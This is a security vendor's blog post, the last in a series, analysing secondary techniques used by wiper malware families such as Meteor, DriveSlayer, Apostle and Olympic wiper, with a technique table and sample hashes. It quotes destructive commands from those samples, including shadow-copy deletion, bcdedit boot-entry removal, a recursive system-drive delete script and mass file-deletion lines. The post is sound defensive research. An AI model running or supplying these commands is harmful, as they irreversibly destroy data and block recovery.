The Anatomy of Wiper Malware, Part 4: Less Common “Helper” Techniques

October 14, 2022

| | Engineering & Tech
This is the fourth blog post in a four-part series. Read Part 1 | Part 2 | Part 3. In Part 3, CrowdStrike's Endpoint Protection Content Research Team covered the finer points of Input/Output Control (IOCTL) usage by various wipers. The fourth and final part of the wiper series covers some of the rarely used “helper” techniques implemented by wipers, which achieve secondary goals or facilitate a smaller portion of the wiping process.

Delete Volume Shadow Copies

 

During ransomware attacks, many ransomware families will attempt to delete the shadow copies of the Windows OS. Out of all of the analyzed wiper families, only Meteor (with its Stardust/Comet variants) deletes shadow copies by either using Windows Management Instrumentation command-line utility wmic.exe or by calling the native Volume Shadow Copy Service Admin tool vssadmin.exe. C:\Windows\Sysnative\wbem\wmic.exe shadowcopy delete C:\Windows\Sysnative\vssadmin.exe delete shadows /all /quiet In the case of families that use a third-party driver to wipe the sectors, it does not make sense to delete the VSS because their corresponding sectors will be wiped by the driver, rendering volume shadow copies unusable.

 

 An interesting approach seen in DriveSlayer is that it only disables the VSS service and doesn’t attempt to delete the snapshots. In order to stop the service, the wiper will open a handle to the Service Control Manager via OpenSCManager, grab a handle to the VSS service via OpenService, and make use of ChangeServiceConfig to disable the service and ControlService to stop it.
Figure 1. DriveSlayer disabling VSS service

Fill Empty Space

The IsaacWiper wiper creates a thread that tries to fill the unallocated space of the disk with random data in order to make recovery even more unlikely.
Figure 2. IsaacWiper pseudocode responsible for filling the empty space of the volume
This technique is implemented by first obtaining the amount of space available for a volume, using GetDiskFreeSpaceExW, and then creating a temporary file that grows in size until the disk is filled. The temporary file is filled with random data, written in blocks of size 0x1000.

Boot Configuration

Similar to a ransomware attack, Meteor wiper (with its Stardust/Comet variants) makes the operating system unbootable by changing the boot configuration of the infected machine. This can be done by either corrupting the system’s boot.ini file, or by using a series of bcdedit commands. The first one is used to identify configurations, while the latter is used to delete a specific entry. C:\Windows\Sysnative\bcdedit.exe -v C:\Windows\Sysnative\bcdedit.exe /delete {GUIDIDENTIFIER}

 

/f
Figure 3. Example of the how boot menu entries can be deleted using bcdedit

Active Directory Interaction

To keep the network online, the CaddyWiper and DoubleZero wiper families ensure that they do not run on a domain controller. In the code snippet below, CaddyWiper uses the DsRoleGetPrimaryDomainInformation API to determine if the victim machine is not a primary domain controller.
Figure 4. Determine if the machine is a domain controller via the DsRoleGetPrimaryDomainInformation API
However, Meteor wiper (and its Stardust/Comet variants) implements a different mechanism when interacting with the domain controller. This wiper unjoins the workstation from the domain using either a call to NetUnjoinDomain or using the following wmic command: 
C:\Windows\System32\cmd.exe /c wmic computersystem where name="%computername%" call unjoindomainorworkgroup

Scripts

Some malware authors choose not to implement an actual wiper module and instead use the default OS functionalities, accessible via a BAT file. For example, Apostle is dropping and executing the following script: 
@echo off
del %systemdrive%\*.*/f/s/q
%windir%\system32\rundll32.exe advapi32.dll,ProcessIdleTasks
del %0
This script tries to recursively delete the files in system drive, then instructs Windows to process idle tasks, and finally issuing a self-delete command. The Olympic wiper is one of the simplest samples we analyzed. It only used batch commands to achieve its goals. It deletes several extensions from the user directories, with each extension being deleted by its own “cmd.exe” process. 
C:\Windows\system32\cmd.exe /c del /S /Q *.doc c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.docm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.docx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.dot c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.dotm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.dotx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.pdf c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.csv c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.xls c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.xlsx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.xlsm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.ppt c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.pptx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.pptm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jtdc c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jttc c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jtd c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jtt c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.txt c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.exe c:\users\%username%\ >
 
 nul
C:\Windows\system32\cmd.exe /c del /S /Q *.log c:\users\%username%\ >
 
 nul

Reboot

After wiping the disk and files, some wipers will forcly reboot or shutdown the machine. Families like Apostle, DoubleZero, Destover, KillDisk and StoneDrill use the ExitWindowsEx API to reboot the system. The arguments of the API vary across wipers, but in the end the reboot/shutdown will cause the OS to not load.
Figure 5. Acquire shutdown privilege and shut down the machine seen in KillDisk
The Petya wiper variant implements a different approach, calling NtRaiseHardError instead of ExitWindowsEx.
Figure 6. Forcing operating system reboot by calling NtRaiseHardError with the 0xC0000350 error status
DriveSlayer is attempting to reboot the machine after a period of time. The wiper has a predefined value set for the Sleep call, but that can be changed by using command line arguments of the process. The reboot is achieved by calling InitiateSystemShutdownEx API with the following reasons/arguments: SHTDN_REASON_FLAG_PLANNED, SHTDN_REASON_MAJOR_OPERATINGSYSTEM, SHTDN_REASON_MINOR_INSTALLATION and SHTDN_REASON_MINOR_HOTFIX.
Figure 7. Another API used to reboot/shutdown the infected machine

Disable Crash Dumps

DriveSlayer is the only wiper that disables crash dumps from being generated by the operating system. These may provide additional information to a potential researcher in case the machine crashes due to a bug in the driver or malware. To disable this feature, the wiper changes the following registry key value to 0x0 via the RegOpenKey and RegSetValue APIs: HKLM\SYSTEM\CurrentControlSet\Control\CrashControl

Wiper, Ransomware or Both

Some malware authors decide to use the same source code to transition their malware from ransomware to wiper or vice versa. Another approach seen in the analyzed samples is to generate different variants of the malware, by improving the wiper, and/or fixing errors in the execution flow. There are a few approaches seen in the analyzed samples:
  • Apostle evolved from a wiper to ransomware, fixing bugs in the code and adding extra functionalities like changing background, dropping ransom notes, etc.
  • Petya generated a wiper variant from the known ransomware.
  • Meteor and KillDisk implement variations of the same code, but don’t change the scope of the malware.
  • Ordinypt masquerades as ransomware, deleting the files, replacing them with dummy ones and dropping a ransom note on the disk. However, the wiper has a logical bug that writes and then deletes its own ransom notes several times (as shown in Figure 8).
Figure 8. Screenshot demonstrating how Ordinypt wiper accidentally deletes its own ransom notes

Registry Wiping and Deletion

DoubleZero was the only analyzed sample that implemented a mechanism in which each registry value is set to 0x00 or empty string, followed by a deletion of the subkey tree via Windows APIs.
Figure 9. DoubleZero overwrites the registry keys

Impact

Over the last 10 years, the security industry has seen the use of wipers grow in popularity, notably for sabotage attacks (as illustrated by their use to target Ukraine in the spring of 2022). Although wipers share many features with ransomware, they differ in their ultimate objective. Rather than pursuit of financial gain, the objective of wipers is to destroy data beyond recoverability. There are multiple ways wipers can achieve their goal, land wiper developers need to make a trade-off between speed and effectiveness when deleting data — the faster techniques may allow for data to be recovered, while the slower ones may allow the victim to intervene and stop the deletion process. Cybersecurity professionals can use different countermeasures and tools in order to recover the lost data. This has motivated wiper developers to increase effectiveness by overwriting files as well as raw disk sectors, in order to decrease recoverability options as much as possible.

 

 Over the years, wipers have not increased in complexity — instead, some only delete the user files and volume shadow copies, with the more advanced ones using legitimate kernel driver implants on the victim’s machine in order to proxy the entire wiping activity through them and to remain as undetectable as possible. Often, the final nail in the coffin is achieved by force rebooting the machine, combined with other techniques that completely eliminate any recovery options. We have summarized the complex combinations of techniques observed across wiper families in the following table.
File DiscoveryAll samples
File Overwrite / File System APICaddyWiper, DoubleZero, IsaacWiper, KillDisk, Meteor, Petya wiper, Shamoon, SQLShred, StoneDrill, and WhisperGate, Destover
File Overwrite / File IOCTLDoubleZero
File Overwrite / File DeletionOrdinypt, Olympic wiper and Apostle, Destover, KillDisk, Meteor, Shamoon, SQLShred, and StoneDrill
Drive Destruction / Disk WriteIsaacWiper, KillDisk, Petya wiper variant, SQLShred, StoneDrill, WhisperGate, and DriveSlayer
Drive Destruction / Disk Drive IOCTLCaddyWiper
File contents / Overwrite with Same Byte ValueCaddyWiper, DoubleZero, KillDisk, Meteor, and SQLShred
File contents / Overwrite with Random BytesDestover, IsaacWiper, KillDisk, SQLShred and StoneDrill
File contents / Overwrite with Predefined DataShamoon, IsraBye
Third Party Drivers / ElRawDisk DriverDestover, ZeroCleare, Dustman and Shamoon
Third Party Drivers / EPMNTDRV DriverDriveSlayer
IOCTL / Acquiring InformationIsaacWiper, Petya wiper variant, Dustman or ZeroCleare
IOCTL / Volume UnmountingDriveSlayer, Petya, StoneDrill
IOCTL / Destroying All Disk ContentsSQLShred
IOCTL / Overwriting Disk ClustersDriveSlayer
IOCTL / Data FragmentationDriveSlayer
IOCTL / File Type DeterminationSQLShred
IOCTL / File IterationDriveSlayer
Misc / Volume Shadow Copies DeletionMeteor
Misc / Fill Empty SpaceIsaacWiper
Misc / Boot ConfigurationMeteor
Misc / Active Directory InteractionCaddyWiper, DoubleZero, Meteor
Misc / ScriptsApostle, Olympic wiper
Misc / RebootApostle, DoubleZero, Destover, KillDisk, StoneDrill, Petya wiper, DriveSlayer
Misc / Disable Crash DumpsDriveSlayer
Misc / Wiper, Ransomware or BothApostle, Petya, Meteor and KillDisk, Ordinypt
Misc / Registry Wiping and DeletionDoubleZero

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Figure 10. Falcon UI screenshot showcasing detection of KillDisk by the Falcon sensor
Figure 11. Falcon UI screenshot showcasing detection of Olympic Wiper by the Falcon sensor
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Hashes

Wiper NameSHA256 Hash Value
Apostle6fb07a9855edc862e59145aed973de9d459a6f45f17a8e779b95d4c55502dcce 19dbed996b1a814658bef433bad62b03e5c59c2bf2351b793d1a5d4a5216d27e
CaddyWipera294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
Destovere2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a
DoubleZero3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a
DriveSlayer0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 a259e9b0acf375a8bef8dbc27a8a1996ee02a56889cba07ef58c49185ab033ec
Dustmanf07b0c79a8c88a5760847226af277cf34ab5508394a58820db4db5a8d0340fc7
IsaacWiper13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033 7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0
IsraBye5a209e40e0659b40d3d20899c00757fa33dc00ddcac38a3c8df004ab9051de0d
KillDisk8a81a1d0fae933862b51f63064069aa5af3854763f5edc29c997964de5e284e5 1a09b182c63207aa6988b064ec0ee811c173724c33cf6dfe36437427a5c23446
Meteor and Comet/Stardust2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b d71cc6337efb5cbbb400d57c8fdeb48d7af12a292fa87a55e8705d18b09f516e 6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4 9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473
Ordinypt​​085256b114079911b64f5826165f85a28a2a4ddc2ce0d935fa8545651ce5ab09
Petya0f732bc1ed57a052fecd19ad98428eb8cc42e6a53af86d465b004994342a2366 fd67136d8138fb71c8e9677f75e8b02f6734d72f66b065fc609ae2b3180a1cbf 4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c
Shamoone2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a 7dad0b3b3b7dd72490d3f56f0a0b1403844bb05ce2499ef98a28684fbccc07b4 8e9681d9dbfb4c564c44e3315c8efb7f7d6919aa28fcf967750a03875e216c79 f9d94c5de86aa170384f1e2e71d95ec373536899cb7985633d3ecfdb67af0f72 4f02a9fcd2deb3936ede8ff009bd08662bdb1f365c0f4a78b3757a98c2f40400
SQLShred/Agrius18c92f23b646eb85d67a890296000212091f930b1fe9e92033f123be3581a90f e37bfad12d44a247ac99fdf30f5ac40a0448a097e36f3dbba532688b5678ad13
StoneDrill62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260 2bab3716a1f19879ca2e6d98c518debb107e0ed8e1534241f7769193807aac83 bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc
Tokyo Olympic wiperfb80dab592c5b2a1dcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97 c58940e47f74769b425de431fd74357c8de0cf9f979d82d37cdcf42fcaaeac32
WhisperGatea196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 44ffe353e01d6b894dc7ebe686791aa87fc9c7fd88535acc274f61c2cf74f5b8 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
ZeroClearebecb74a8a71a324c78625aa589e77631633d0f15af1473dfe34eca06e7ec6b86

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